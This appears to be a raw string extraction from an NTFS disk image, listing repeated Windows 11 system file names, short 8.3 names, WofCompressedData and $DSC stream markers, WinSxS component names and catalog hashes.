$DSC WofCompressedData $DSC schannel.dll $DSC schannel.dll $DSC $DSC schannel.dll schannel.dll WofCompressedData $DSC $DSC schannel.dll WofCompressedData $DSC schedcli.dll $DSC schedcli.dll schedcli.dll WofCompressedData $DSC WofCompressedData $DSC schedcli.dll $DSC sdhcinst.dll sdhcinst.dll WofCompressedData $DSC sechost.dll0 sechost.dll WofCompressedData $DSC $DSC sechost.dll WofCompressedData $DSC secur32.dll0 secur32.dll WofCompressedData $DSC security.dll security.dll WofCompressedData $DSC $DSC SensApi.dll0 SensApi.dll WofCompressedData $DSC SERVIC~1.DLL servicemodelregai.dll WofCompressedData $DSC SERVIC~1.DLL servicemodelregai.dll WofCompressedData $DSC SERVIC~1.DLL ServicingCommon.dll0 ServicingCommon.dll WofCompressedData $DSC $DSC SERVIC~1.DLL ServicingCommon.dll WofCompressedData $DSC SETBCD~1.DLL setbcdlocale.dll setbcdlocale.dll WofCompressedData $DSC $DSC SETIEI~1.DLL SetIEInstalledDateAI.dll WofCompressedData $DSC setupapi.dll WofCompressedData $DSC setupapi.dll setupapi.dll WofCompressedData $DSC $DSC setupapi.dll $DSC $DSC setupetw.dll setupetw.dll WofCompressedData $DSC setupetw.dll $DSC $DSC sfc.dll0 sfc.dll WofCompressedData $DSC sfc_os.dll sfc_os.dll WofCompressedData $DSC $DSC SHCore.dll SHCore.dll WofCompressedData $DSC $DSC SHCore.dll WofCompressedData $DSC shell32.dll WofCompressedData $DSC shell32.dll0 shell32.dll WofCompressedData $DSC $DSC shellbrd.dll shellbrd.dll WofCompressedData $DSC shlwapi.dll $DSC $DSC shlwapi.dll0 shlwapi.dll WofCompressedData $DSC $DSC SHTRAN~1.DLL shtransform.dll WofCompressedData $DSC SHTRAN~1.DLL shtransform.dll WofCompressedData $DSC slc.dll0 slc.dll WofCompressedData $DSC slc.dll $DSC $DSC smbwmiv2.dll $DSC $DSC smbwmiv2.dll smbwmiv2.dll WofCompressedData $DSC spp.dll0 spp.dll WofCompressedData $DSC sppc.dll sppc.dll WofCompressedData $DSC $DSC sppc.dll $DSC sppinst.dll WofCompressedData $DSC srhelper.dll $DSC $DSC srvcli.dll srvcli.dll WofCompressedData $DSC srvcli.dll $DSC srvcli.dll srvcli.dll WofCompressedData $DSC $DSC sscore.dll $DSC $DSC sscore.dll sscore.dll WofCompressedData $DSC sspicli.dll $DSC $DSC sspicli.dll0 sspicli.dll WofCompressedData $DSC $DSC sxs.dll0 sxs.dll WofCompressedData $DSC sxshared.dll sxshared.dll WofCompressedData $DSC sxshared.dll $DSC SXSMIG~1.DLL SxsMigPlugin.dll SxsMigPlugin.dll WofCompressedData $DSC tbs.dll0 tbs.dll WofCompressedData $DSC tbs.dll $DSC $DSC tcpipcfg.dll $DSC $DSC tcpipcfg.dll tcpipcfg.dll WofCompressedData $DSC tdhres.dll tdhres.dll WofCompressedData $DSC tdhres.dll WofCompressedData $DSC TEXTIN~1.DLL TextInputFramework.dll TextInputFramework.dll WofCompressedData $DSC $DSC TEXTIN~1.DLL TextInputFramework.dll WofCompressedData $DSC TEXTSH~1.DLL TextShaping.dll0 TextShaping.dll WofCompressedData $DSC $DSC TEXTSH~1.DLL TextShaping.dll WofCompressedData $DSC TIER2P~1.DLL tier2punctuations.dll tier2punctuations.dll WofCompressedData $DSC TIER2P~1.DLL tier2punctuations.dll $DSC TPMCOR~1.DLL TpmCoreProvisioning.dll WofCompressedData $DSC TPMCOR~1.DLL TpmCoreProvisioning.dll0 TpmCoreProvisioning.dll WofCompressedData $DSC $DSC WofCompressedData $DSC TRUSTE~1.DLL $DSC WofCompressedData $DSC TrustedSignalCredProv.dll $DSC TURBOS~1.DLL turbostack.dll WofCompressedData $DSC TURBOS~1.DLL turbostack.dll WofCompressedData $DSC tzres.dll tzres.dll WofCompressedData $DSC tzres.dll tzres.dll $DSC tzres.dll 011301 $DSC tzres.dll 13011301 $DSC ucrtbase.dll ucrtbase.dll WofCompressedData $DSC ucrtbase.dll ucrtbase.dll WofCompressedData $DSC $DSC ucrtbase.dll ucrtbase.dll WofCompressedData $DSC $DSC ucrtbase.dll ucrtbase.dll WofCompressedData $DSC $DSC ucrtbase.dll $DSC $DSC ucrtbase.dll WofCompressedData $DSC WofCompressedData $DSC UIAUTO~1.DLL UIAutomationCore.dll $DSC UIAUTO~1.DLL UIAutomationCore.dll WofCompressedData $DSC UIOMAP~1.DLL uiomapapi.dll $DSC UIOMAP~1.DLL uiomapapi.dll uiomapapi.dll WofCompressedData $DSC ulib.dll ulib.dll WofCompressedData $DSC ulib.dll $DSC $DSC umpdc.dll umpdc.dll WofCompressedData $DSC $DSC umpdc.dll umpdc.dll WofCompressedData $DSC $DSC WINDOW~1.DLL Windows.Networking.Connectivity.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL vcamp140_app.dll vcamp140_app.dll VCAMP1~1.DLL vcamp140_app.dll WofCompressedData $DSC vcomp140_app.dll vcomp140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_1_app.dll VCRUNT~1.DLL vcruntime140_1_app.dll WofCompressedData $DSC vcruntime140_1_app.dll vcruntime140_1_app.dll vcruntime140_1_app.dll vcruntime140_app.dll vcruntime140_app.dll VCRUNT~2.DLL vcruntime140_app.dll WofCompressedData $DSC vcruntime140_app.dll vcruntime140_app.dll vcruntime140_app.dll VIRTUA~1.DLL VirtualDisplayManager.ProxyStubs.dll WofCompressedData $DSC VirtualDisplayManager.ProxyStubs.dll $VirtualDisplayManager.ProxyStubs.dll WofCompressedData $DSC VirtualSmartcardReader.dll VirtualSmartcardReader.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Security.Authentication.OnlineId.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Security.Authentication.Web.Core.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Security.Authentication.Web.Core.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC VmApplicationHealthMonitorProxy.dll0 #VmApplicationHealthMonitorProxy.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Security.Integrity.dll $DSC $DSC WINDOW~1.DLL Windows.Security.Integrity.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Security.Integrity.dll $DSC $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Shell.ServiceHostBuilder.dll $DSC $DSC WINDOW~1.DLL Windows.Shell.ServiceHostBuilder.dll $DSC $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~2.DLL WINDOW~3.DLL Windows.StateRepositoryClient.dll $DSC $DSC WINDOW~3.DLL Windows.StateRepositoryClient.dll WofCompressedData $DSC WofCompressedData $DSC !Windows.StateRepositoryClient.dll $DSC WofCompressedData $DSC WINDOW~3.DLL WINDOW~4.DLL Windows.StateRepositoryCore.dll $DSC $DSC WofCompressedData $DSC WINDOW~4.DLL WINDOW~4.DLL Windows.StateRepositoryCore.dll $DSC $DSC WofCompressedData $DSC Windows.StateRepositoryCore.dll $DSC WofCompressedData $DSC Windows.StateRepositoryPS.dll $DSC WofCompressedData $DSC WIF713~1.DLL WIF713~1.DLL Windows.StateRepositoryPS.dll $DSC $DSC WofCompressedData $DSC "Windows.StateRepositoryUpgrade.dll $DSC WINDOW~1.DLL windows.storage.dll0 windows.storage.dll WofCompressedData $DSC $DSC WINDOW~1.DLL windows.storage.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Storage.ApplicationData.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Storage.ApplicationData.dll WofCompressedData $DSC WofCompressedData $DSC #Windows.Storage.ApplicationData.dll $DSC WINDOW~1.DLL Windows.Storage.ApplicationData.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Storage.OneCore.dll0 Windows.Storage.OneCore.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Storage.Search.dll WofCompressedData $DSC WINDOW~1.DLL Windows.System.Diagnostics.dll WofCompressedData $DSC WINDOW~1.DLL Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll WofCompressedData $DSC WINDOW~1.DLL Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll $DSC WINDOW~1.DLL Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll WofCompressedData $DSC WINDOW~1.DLL Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll $DSC WINDOW~1.DLL Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll WofCompressedData $DSC avrt.dll $DSC $DSC avrt.dll avrt.dll WofCompressedData $DSC basebrd.dll $DSC $DSC basebrd.dll0 basebrd.dll WofCompressedData $DSC basesrv.dll0 basesrv.dll WofCompressedData $DSC basesrv.dll $DSC $DSC bcd.dll0 bcd.dll WofCompressedData $DSC bcd.dll $DSC $DSC bcdprov.dll0 bcdprov.dll WofCompressedData $DSC bcdsrv.dll bcdsrv.dll WofCompressedData $DSC BCP47L~1.DLL BCP47Langs.dll BCP47Langs.dll WofCompressedData $DSC $DSC BCP47L~1.DLL BCP47Langs.dll $DSC $DSC BCP47mrm.dll BCP47mrm.dll WofCompressedData $DSC $DSC BCP47mrm.dll WofCompressedData $DSC bcrypt.dll $DSC $DSC bcrypt.dll bcrypt.dll WofCompressedData $DSC $DSC bcrypt.dll bcrypt.dll WofCompressedData $DSC bcrypt.dll $DSC $DSC BCRYPT~1.DLL bcryptprimitives.dll bcryptprimitives.dll WofCompressedData $DSC BCRYPT~1.DLL bcryptprimitives.dll WofCompressedData $DSC BCRYPT~1.DLL bcryptprimitives.dll $DSC $DSC BCRYPT~1.DLL bcryptprimitives.dll bcryptprimitives.dll WofCompressedData $DSC BDEREP~1.DLL bderepair.dll bderepair.dll WofCompressedData $DSC BDEREP~1.DLL bderepair.dll $DSC $DSC cabapi.dll $DSC $DSC @Microsoft-Windows-Deployment-Services-Admin-Pack-Replacement.man MICROS~1.MAN Microsoft-Windows-Deployment-Services-Admin-Pack-Replacement.man $DSC cabapi.dll $DSC $DSC cabinet.dll0 cabinet.dll WofCompressedData $DSC $DSC certcli.dll $DSC $DSC certcli.dll0 certcli.dll WofCompressedData $DSC cfgmgr32.dll cfgmgr32.dll WofCompressedData $DSC $DSC cfgmgr32.dll cfgmgr32.dll WofCompressedData $DSC $DSC ci.dll ci.dll WofCompressedData $DSC ci.dll WofCompressedData $DSC cimfs.dll $DSC $DSC cimfs.dll cimfs.dll WofCompressedData $DSC clusapi.dll WofCompressedData $DSC clusapi.dll0 clusapi.dll WofCompressedData $DSC cmdext.dll cmdext.dll WofCompressedData $DSC cmdext.dll $DSC cnvfat.dll cnvfat.dll WofCompressedData $DSC cnvfat.dll $DSC combase.dll0 combase.dll WofCompressedData $DSC $DSC combase.dll WofCompressedData $DSC combase.dll0 combase.dll WofCompressedData $DSC combase.dll WofCompressedData $DSC comcat.dll comcat.dll WofCompressedData $DSC comctl32.dll WofCompressedData $DSC comctl32.dll comctl32.dll WofCompressedData $DSC comctl32.dll WofCompressedData $DSC comdlg32.dll $DSC $DSC comdlg32.dll comdlg32.dll WofCompressedData $DSC $DSC WofCompressedData $DSC COREME~1.DLL CoreMessaging.dll $DSC COREME~1.DLL CoreMessaging.dll WofCompressedData $DSC WofCompressedData $DSC COREPR~1.DLL TEXTSE~1.MAN TextServicesFramework-Migration-Replacement.man WofCompressedData $DSC imm32.dll WofCompressedData $DSC imm32.dll imm32.dll WofCompressedData $DSC $DSC IMPLAT~1.DLL ImplatSetup.dll0 ImplatSetup.dll WofCompressedData $DSC $DSC IMPLAT~1.DLL ImplatSetup.dll $DSC $DSC InputDial.dll INPUTD~1.DLL InputDial.dll WofCompressedData $DSC INPUTD~1.DLL InputDial.dll $DSC $DSC INPUTH~1.DLL InputHost.dll InputHost.dll WofCompressedData $DSC $DSC INPUTH~1.DLL InputHost.dll WofCompressedData $DSC CldFlt0.etl STORGR~1.LOG StorGroupPolicy.log Microsoft.Windows.AppNotifications.winmd (Microsoft.Windows.AppNotifications.winmd WofCompressedData $DSC System.evtx0 SYSTEM~1.EVT APPLIC~1.EVT Application.evtx SECURI~1.EVT Security.evtx Microsoft.Windows.AppNotifications.Builder.winmd 0Microsoft.Windows.AppNotifications.Builder.winmd WofCompressedData $DSC HARDWA~1.EVT HardwareEvents.evtx Microsoft.Windows.Management.Deployment.winmd -Microsoft.Windows.Management.Deployment.winmd WofCompressedData $DSC &MicrosoftSkypeForBusiness2016Win64.xml MIC471~1.XML MicrosoftSkypeForBusiness2016Win64.xml $DSC MICROS~1.EVT Microsoft-Windows-AppModel-Runtime%4Admin.evtx SA.DAT MANIFE~1.JSO manifest.json potscfg.xml0 potscfg.xml0 potscfg.xml $DSC potscfg.xml0 potscfg.xml $DSC PowerDiagnostic.xml0 POWERD~1.XML PowerDiagnostic.xml $DSC SINGLE~1.XML singleton_license.xml DE521A~1.XML DesktopBaselessCompDB_fr-CA.CompDB.xml /copilot_overlay_strings_ca-Es-VALENCIA.pak.DATA0 CO27DC~1.PAK copilot_overlay_strings_ca-Es-VALENCIA.pak SpeechDiagnostic.xml SPEECH~1.XML SpeechDiagnostic.xml $DSC Catalogs $I300 $I30 $I30 $DSC 6491A4~1.CAT $I30 $I30 $DSC $I30? $DSC FileMaps $I300 $I30 $I30 $DSC $TXF_DATA $I30 $DSC $DSC Fusion $I300 $DSC FUSION~1 FusionDiff $I300 $DSC rometadata.dll ROMETA~1.DLL rometadata.dll WofCompressedData $DSC ROMETA~1.DLL rometadata.dll WofCompressedData $DSC ROMETA~1.DLL rometadata.dll rometadata.dll WofCompressedData $DSC $DSC ROMETA~1.DLL rometadata.dll WofCompressedData $DSC rpcref.dll $DSC rpcref.dll $DSC rpcrt4.dll WofCompressedData $DSC rpcrt4.dll rpcrt4.dll WofCompressedData $DSC $DSC RstrtMgr.dll RstrtMgr.dll WofCompressedData $DSC $DSC RstrtMgr.dll WofCompressedData $DSC RstrtMgr.dll RstrtMgr.dll WofCompressedData $DSC RstrtMgr.dll $DSC $DSC RULEBA~1.DLL RuleBasedDS.dll0 RuleBasedDS.dll WofCompressedData $DSC WofCompressedData $DSC RULESE~1.DLL RulesEngine.dll $DSC RUNTIM~1.DLL RuntimeConfiguration.dll WofCompressedData PasswordEnrollmentManager.dll PasswordEnrollmentManager.dll WofCompressedData $DSC amd64_microsoft-windows-f..ependencyminifilter_31bf3856ad364e35_10.0.26100.1882_none_c5f16e3c379b2b68 amd64_microsoft-windows-p..ng-client-overrides_31bf3856ad364e35_10.0.26100.7705_none_b53aa7dfa3210df9 amd64_microsoft-windows-wmi-tools_31bf3856ad364e35_10.0.26100.5074_none_73ef3750337fc0c3 wow64_microsoft-windows-i..i_initiator_service_31bf3856ad364e35_10.0.26100.7019_none_80b5b326f95eef09 1d_o amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_da-dk_adfe89c91f1f9a91 amd64_netfx4-mscoreei_dll_b03f5f7f11d50a3a_4.0.15912.0_none_39673f186cf92948 amd64_system.globalization_b03f5f7f11d50a3a_4.0.15920.100_none_84ebfbe80771e04e amd64_windows-media-faceanalysis_31bf3856ad364e35_10.0.26100.5074_none_20abc717074c1299 msil_system.management.automation.resources_31bf3856ad364e35_1.0.0.0_en-us_02f990a9ca3bc66e wow64_microsoft-windows-cfmifs_31bf3856ad364e35_10.0.26100.5074_none_96694ccf3d46150d wow64_microsoft-windows-directui.resources_31bf3856ad364e35_10.0.26100.1301_hu-hu_fe410491a19b2839 wow64_microsoft-windows-i..i_initiator_service_31bf3856ad364e35_10.0.26100.7019_none_80b5b326f95eef09 wow64_microsoft-windows-i..ldhangul-tipprofile_31bf3856ad364e35_10.0.26100.7309_none_30723b9b6a1e6856 wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.26100.1_lv-lv_a212581bf8e6499c wow64_microsoft-windows-photoviewer_31bf3856ad364e35_10.0.26100.1882_none_8231a9dfb439268c wow64_microsoft-windows-snmp-winsnmp-api_31bf3856ad364e35_10.0.26100.1_none_e795cfc45f8fceee wow64_microsoft-windows-whhelper_31bf3856ad364e35_10.0.26100.7705_none_17468f5521d27b79 x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_10.0.26100.4768_ro-ro_a5c2bb0b70383033 taskschd.dllZ taskschd.mscll TaskSchdPS.dll tbauth.dll tbs.dll tcmsetup.exeZ tcpbidi.xml tcpipcfg.dllZ tcpmib.dll tcpmonui.dllZ TCPSVCS.EXE tdc.ocx tdh.dll tdhres.dll te-IN telephon.cpllCr !TempSignedLicenseExchangeTask.dll TenantRestrictionsPlugin.dll termmgr.dll tetheringclient.dll TextInputFramework.dll TextInputMethodFormatter.dll TextShaping.dll Windows.UI.XamlHost.dll Windows.WARP.JITService.exe Windows.Web.Diagnostics.dll Windows.Web.dll Windows.Web.Http.dllcor WindowsCodecs.dller WindowsCodecsExt.dllcor WindowsDefaultHeatProcessor.dll &windowsdefenderapplicationguardcsp.dll windowslivelogin.dllcor +WindowsManagementServiceWinRt.ProxyStub.dll %windowsperformancerecordercontrol.dll WindowsPowerShell windowsudk.shellcommon.dll winhttp.dll w32tm.exell w32topl.dll WABSyncProvider.dll waitfor.exe WalletBackgroundServiceProxy.dll WalletProxy.dll wavemsp.dll wbem wbemcomn.dll wcmapi.dll WcnApi.dlll wcnwiz.dlll wdc.dll wdi.dll wdigest.dll wdmaud.drv wdmaud2.drv E8E050~1.CAT e8e0501b50c894bf807109c168a11644c6ddf408ec690367105df01ef4f1a1e0.cat WofCompressedData $DSC WofCompressedData lMicrosoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MI3D08~1.CAT WofCompressedData E8F59A~1.CAT e8f59aa84801c2d7d799a846444c2bf1b53ada464b26fceb9b4a909c6b561bca.cat WofCompressedData $DSC WofCompressedData lMicrosoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat MI4319~1.CAT WofCompressedData WofCompressedData lMicrosoft-Windows-Wifi-Client-Intel-Netwtw08-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat MIB612~1.CAT WofCompressedData EC9B7A~1.CAT ec9b7afa20309c94cf539e07f75e0dedff996a1bcc632fefccd7af9893db1d57.cat WofCompressedData $DSC dMicrosoft-Windows-Wifi-Client-Intel-Netwtw08-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MIC12A~1.CAT Microsoft-Windows-Wifi-Client-Intel-Netwtw08-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ECB83E~1.CAT ecb83e623cba188e0782eba13cffb01b6a7895a8c57f9113413f541e5442bacf.cat WofCompressedData $DSC WofCompressedData PMicrosoft-Windows-WinOcr-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat MIABCD~1.CAT ompressedData F0ED35~1.CAT f0ed35b6ef888e543a1a5870d0c984149b618da7e4cc67841fe46571de5df5f6.cat WofCompressedData $DSC WofCompressedData RMicrosoft-Windows-WinOcr-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat MI830A~1.CAT ompressedData F100F0~1.CAT f100f09de03ca8d9a2142f4c01ad4f2b6fc0b36a1d403a1579c855b484d7689f.cat WofCompressedData $DSC WofCompressedData VMicrosoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 00.7824.cat MIC0E9~1.CAT 0E9~1.CAT WofCompressedData F1FFA8~1.CAT f1ffa85abf958e3c04bf32f2c1ec02b68ab202d1c9ed540e9ed119bdeb473d93.cat WofCompressedData $DSC WofCompressedData VMicrosoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~wow64~~10.0.26100.1742.cat 00.1742.cat MIC6F4~1.CAT 6F4~1.CAT WofCompressedData F24980~1.CAT f2498025cd3c1dc331f8bcab2cd5ed50420ad571ca91e8826e5111a754da6593.cat WofCompressedData $DSC kdhvcom.dll0 kdhvcom.dll WofCompressedData $DSC kdhvcom.dll $DSC $DSC KdsCli.dll WofCompressedData $DSC KEEPAL~1.DLL keepaliveprovider.dll keepaliveprovider.dll WofCompressedData $DSC $DSC KEEPAL~1.DLL keepaliveprovider.dll $DSC kernel.appcore.dll KERNEL~1.DLL kernel.appcore.dll WofCompressedData $DSC $DSC KERNEL~1.DLL kernel.appcore.dll $DSC $DSC kernel32.dll kernel32.dll WofCompressedData $DSC $DSC AboutSettingsHandlers.dll AboutSettingsHandlers.dll WofCompressedData $DSC Accessibility.dll ACCESS~1.DLL Accessibility.dll WofCompressedData $DSC AccountDialog.AOT.dll ACCOUN~1.DLL AccountDialog.AOT.dll WofCompressedData $DSC ACPBAC~1.DLL ACPBackgroundManagerPolicy.dll WofCompressedData $DSC CIWmi.dll $DSC clbcatq.dll WofCompressedData $DSC clbcatq.dll0 clbcatq.dll WofCompressedData $DSC $DSC clbcatq.dll0 clbcatq.dll WofCompressedData $DSC $DSC clbcatq.dll WofCompressedData $DSC clbcatq.dll WofCompressedData $DSC cldapi.dll cldapi.dll WofCompressedData $DSC cldapi.dll cldapi.dll WofCompressedData $DSC Clipc.dll Clipc.dll WofCompressedData $DSC $DSC Clipc.dll $DSC $DSC Clipc.dll Clipc.dll WofCompressedData $DSC CLIPCH~1.DLL Clipchamp.ShellExtension.dll WofCompressedData clr.dll0 clr.dll WofCompressedData $DSC clr.dll WofCompressedData $DSC clr.dll0 clr.dll WofCompressedData $DSC clr.dll WofCompressedData $DSC clrhost.dll0 clrhost.dll WofCompressedData $DSC clrjit.dll clrjit.dll WofCompressedData $DSC clrjit.dll clrjit.dll WofCompressedData $DSC clrjit.dll WofCompressedData $DSC SP3766~1.WAV Speech Sleep.wav Speech Sleep.wav WofCompressedData $DSC tada.wav tada.wav WofCompressedData $DSC WINDOW~1.WAV Windows Background.wav WofCompressedData $DSC Windows Background.wav WINDOW~1.WAV Windows Background.wav WofCompressedData $DSC MICROS~1.WIN Microsoft.Foundation.winmd Microsoft.Foundation.winmd $DSC MICROS~1.WIN Microsoft.Foundation.winmd 0872AF~1.XML 0872af26047692500f0c318077d1cfd61f3a327d[1].xml CURRENT 000019~1.DBT WofCompressedData $DSC MICROS~2.WIN $DSC update.xml MICROS~3.WIN Microsoft.Graphics.Canvas.winmd WofCompressedData WofCompressedData WofCompressedData MI59C0~1.WIN Microsoft.Graphics.Canvas.winmd WofCompressedData SDCHDI~1 Sdch Dictionaries MICROS~3.WIN Microsoft.Graphics.Imaging.winmd Microsoft.Graphics.Imaging.winmd $DSC WofCompressedData $DSC MICROS~3.WIN $DSC MS68DA~1.PF0 MSEDGEWEBVIEW2.EXE-CEE40449.pf MICROS~2.WIN Microsoft.Media.Player.CDPlayback.Helpers.winmd MICROS~3.WIN Microsoft.Media.Player.Composition.Effects.winmd WofCompressedData MICROS~4.WIN Microsoft.Media.Player.Fingerprinting.winmd WofCompressedData $DSC MIFE74~1.WIN $DSC CL50FD~1.ETL CldFlt3-2026-02-24-080700.etlgz MICROS~1.WIN Microsoft.Terminal.Control.winmd WofCompressedData MICROS~2.WIN Microsoft.Terminal.Remoting.winmd WofCompressedData audioresourceregistrar.dll audioresourceregistrar.dll WofCompressedData $DSC AudioSrvPolicyManager.dll AudioSrvPolicyManager.dll WofCompressedData $DSC msasn1.dll msasn1.dll WofCompressedData $DSC $DSC msasn1.dll msasn1.dll WofCompressedData $DSC msctf.dll msctf.dll WofCompressedData $DSC $DSC msctf.dll WofCompressedData $DSC msdelta.dll0 msdelta.dll WofCompressedData $DSC msdelta.dll $DSC msvcirt.dll0 msvcirt.dll WofCompressedData $DSC MSVCP1~1.DLL msvcp110_win.dll msvcp110_win.dll WofCompressedData $DSC $DSC MSVCP1~1.DLL msvcp110_win.dll msvcp110_win.dll WofCompressedData $DSC $DSC msvcp60.dll0 msvcp60.dll WofCompressedData $DSC msvcp60.dll0 msvcp60.dll WofCompressedData $DSC MSVCP_~1.DLL msvcp_win.dll msvcp_win.dll WofCompressedData $DSC $DSC MSVCP_~1.DLL msvcp_win.dll $DSC $DSC MSVCP_~1.DLL msvcp_win.dll $DSC $DSC MSVCP_~1.DLL msvcp_win.dll msvcp_win.dll WofCompressedData $DSC $DSC msvcrt.dll msvcrt.dll WofCompressedData $DSC $DSC msvcrt.dll $DSC $DSC mswsock.dll0 mswsock.dll WofCompressedData $DSC msxml3.dll msxml3.dll WofCompressedData $DSC msxml3r.dll0 msxml3r.dll WofCompressedData $DSC msxml3r.dll $DSC msxml6.dll msxml6.dll WofCompressedData $DSC msxml6.dll WofCompressedData $DSC msxml6r.dll0 msxml6r.dll WofCompressedData $DSC msxml6r.dll $DSC mtxdm.dll mtxdm.dll WofCompressedData $DSC ncobjapi.dll $DSC NCProv.dll NCProv.dll WofCompressedData $DSC NCProv.dll $DSC $DSC ncrypt.dll $DSC $DSC ncrypt.dll ncrypt.dll WofCompressedData $DSC ncrypt.dll $DSC $DSC ncrypt.dll ncrypt.dll WofCompressedData $DSC $DSC WofCompressedData $DSC NCRYPT~1.DLL ncryptprov.dll $DSC NCRYPT~1.DLL ncryptprov.dll WofCompressedData $DSC NCRYPT~1.DLL ncryptprov.dll ncryptprov.dll WofCompressedData $DSC NCRYPT~1.DLL ncryptprov.dll $DSC $DSC NCRYPT~1.DLL ncryptsslp.dll ncryptsslp.dll WofCompressedData $DSC netapi32.dll netapi32.dll WofCompressedData $DSC $DSC netbios.dll0 netbios.dll WofCompressedData $DSC netcfgx.dll $DSC $DSC netcfgx.dll0 netcfgx.dll WofCompressedData $DSC netlogon.dll WofCompressedData $DSC WofCompressedData $DSC netlogon.dll $DSC netlogon.dll netlogon.dll WofCompressedData $DSC netman.dll $DSC $DSC netmsg.dll netmsg.dll WofCompressedData $DSC NETPRO~1.DLL netprofmsvc.dll WofCompressedData $DSC NETPRO~1.DLL netprofmsvc.dll0 netprofmsvc.dll WofCompressedData $DSC $DSC NETPRO~1.DLL netprovfw.dll netprovfw.dll WofCompressedData $DSC $DSC NETSET~1.DLL NetSetupSvc.dll $DSC $DSC netshell.dll netshell.dll WofCompressedData $DSC netshell.dll $DSC $DSC netutils.dll netutils.dll WofCompressedData $DSC $DSC netutils.dll netutils.dll WofCompressedData $DSC $DSC netutils.dll $DSC netutils.dll $DSC $DSC newdev.dll newdev.dll WofCompressedData $DSC ninput.dll $DSC $DSC nlaapi.dll nlaapi.dll WofCompressedData $DSC nlaapi.dll $DSC nlmproxy.dll $DSC nlmproxy.dll nlmproxy.dll WofCompressedData $DSC $DSC nlmsprep.dll nlmsprep.dll WofCompressedData $DSC nlmsprep.dll $DSC normaliz.dll normaliz.dll WofCompressedData $DSC $DSC nshwfp.dll nshwfp.dll WofCompressedData $DSC nshwfp.dll WofCompressedData $DSC nsi.dll0 nsi.dll WofCompressedData $DSC nsi.dll $DSC $DSC mscoree.dll $DSC mscoree.dll0 mscoree.dll WofCompressedData $DSC mscoree.dll WofCompressedData $DSC mscoree.dll0 mscoree.dll WofCompressedData $DSC mscoree.dll $DSC mscoreei.dll WofCompressedData $DSC mscoreei.dll mscoreei.dll WofCompressedData $DSC mscoreei.dll WofCompressedData $DSC mscorjit.dll $DSC mscorjit.dll $DSC WofCompressedData $DSC mscorlib.dll mscorlib.dll $DSC mscorlib.dll $DSC mscorlib.dll WofCompressedData $DSC mscorlib.ni.dll0 MSCORL~1.DLL mscorlib.ni.dll WofCompressedData $DSC $DSC mscorlib.ni.dll0 MSCORL~1.DLL mscorlib.ni.dll WofCompressedData $DSC mscorlib.ni.dll0 MSCORL~1.DLL mscorlib.ni.dll WofCompressedData $DSC $DSC mscorrc.dll0 mscorrc.dll WofCompressedData $DSC mscorrc.dll WofCompressedData $DSC mscorrc.dll0 mscorrc.dll WofCompressedData $DSC mscorrc.dll WofCompressedData $DSC msctf.dll WofCompressedData $DSC msctf.dll msctf.dll WofCompressedData $DSC $DSC msctfmig.dll msctfmig.dll WofCompressedData $DSC msctfmig.dll msctfmig.dll WofCompressedData $DSC WORDBR~1.DLL WordBreakers.dll WordBreakers.dll WofCompressedData $DSC $DSC WofCompressedData $DSC *WorkflowServiceHostPerformanceCounters.dll $DSC WofCompressedData $DSC *WorkflowServiceHostPerformanceCounters.dll $DSC WORKFL~1.DLL WorkflowServiceHostPerformanceCounters.dll WofCompressedData $DSC WORKFO~2.DLL WorkFoldersShell.dll WorkFoldersShell.dll WofCompressedData $DSC $DSC WORKFO~3.DLL workfolderssvc.dll workfolderssvc.dll WofCompressedData $DSC WORKFO~3.DLL workfolderssvc.dll WofCompressedData $DSC wow32.dll WofCompressedData $DSC wow32.dll wow32.dll WofCompressedData $DSC wow32.dll $DSC wow64.dll WofCompressedData $DSC 